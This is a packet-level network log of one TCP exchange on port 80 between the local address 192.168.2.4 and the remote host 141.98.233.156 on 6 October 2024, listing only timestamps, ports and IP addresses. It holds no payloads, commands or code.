Oct 6, 2024 22:33:09.530463934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530468941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530483961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530488014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530499935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530509949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530514002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530523062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530529976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530544043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530545950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530559063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.530563116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530575991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.530601978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531198025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531212091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531227112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531240940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531243086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531255007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531260967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531270027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531270981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531276941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531286001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531296015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531301975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531312943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531317949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531330109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531331062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531337976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531346083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531354904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531359911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531368971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531375885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531399965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531408072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531408072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531416893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531420946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531431913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531466007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531681061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531696081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531709909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531719923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531730890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531737089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531747103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531749010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531760931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531765938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531775951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531786919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531790972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531795025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531805992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531816006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531821012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531824112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531836987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531847954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531852961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531855106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531867981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531877041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531883001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531884909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531899929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531908989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531915903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.531922102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531940937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.531960011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532115936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532130003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532144070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532152891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532159090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532170057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532174110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532185078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532188892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532200098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532201052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532215118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.532219887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532227993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.532252073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.611283064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611309052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611323118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611377001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.611403942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.611407042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611422062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611438036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611453056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.611475945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.611496925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.611521959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614104986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614120007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614165068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614166021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614176035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614180088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614193916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614207029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614209890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614221096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614224911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614238024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614238024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614253044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614255905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614264965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614290953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614341974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614356041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614371061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614396095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614420891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614455938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614470005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614484072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614496946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614509106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614538908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614610910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614624977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614639997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614650011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614654064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614662886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614670038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614680052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614684105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614696980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614700079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614713907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614715099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614729881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614753008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614885092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614900112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614914894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614928961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614931107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614945889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614952087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614962101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.614974022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.614979982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615022898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615022898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615137100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615150928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615164995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615180969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615190983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615195990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615200043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615211964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615221977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615226984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615241051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615242958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615258932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615267992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615289927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615355968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615370989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615392923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615402937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615410089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615411997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615427017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615487099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615502119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615518093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615518093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615529060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615530014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615545034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615561962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615567923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615575075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615583897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615598917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615612984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615624905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615628004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615643978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615645885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615658998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615668058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615688086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615710974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615861893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615875959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615890980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.615916014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615938902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.615993023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616008043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616022110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616036892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616046906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616051912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616066933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616070986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616081953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616087914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616096973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616111040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616111994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616123915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616127014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616139889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616142035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616157055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616159916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616170883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616190910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616391897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616406918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616421938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616436958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616449118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616461992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616488934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616516113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616532087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616569042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616614103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616630077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616642952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616657972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616671085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616673946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616681099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616688967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616703987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616708994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616727114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616738081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616750002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616771936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616892099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616906881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616923094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616933107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616935968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.616950989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616965055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.616976976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617014885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617029905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617048025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617063999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617074013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617088079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617104053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617124081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617254019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617268085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617283106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617292881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617297888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617311001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617314100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617321968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617328882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617337942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617345095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617356062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617357969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617369890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617372036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617387056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617388010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617398024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617403984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617419958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617439032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617456913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617539883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617553949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617568970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617594957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617595911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617611885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617619991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617641926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617657900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617724895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617739916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617754936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617772102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617780924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617788076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617803097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.617849112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617849112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.617849112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.618277073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.618320942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.618331909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.618366003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.697757959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697774887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697788954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697804928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697859049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.697900057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.697928905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697942972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697957039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.697988987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.698021889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700273991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700304985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700318098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700366974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700391054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.700411081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700426102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700440884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.700454950 CEST	49741	80	192.168.2.4	141.98.233.156
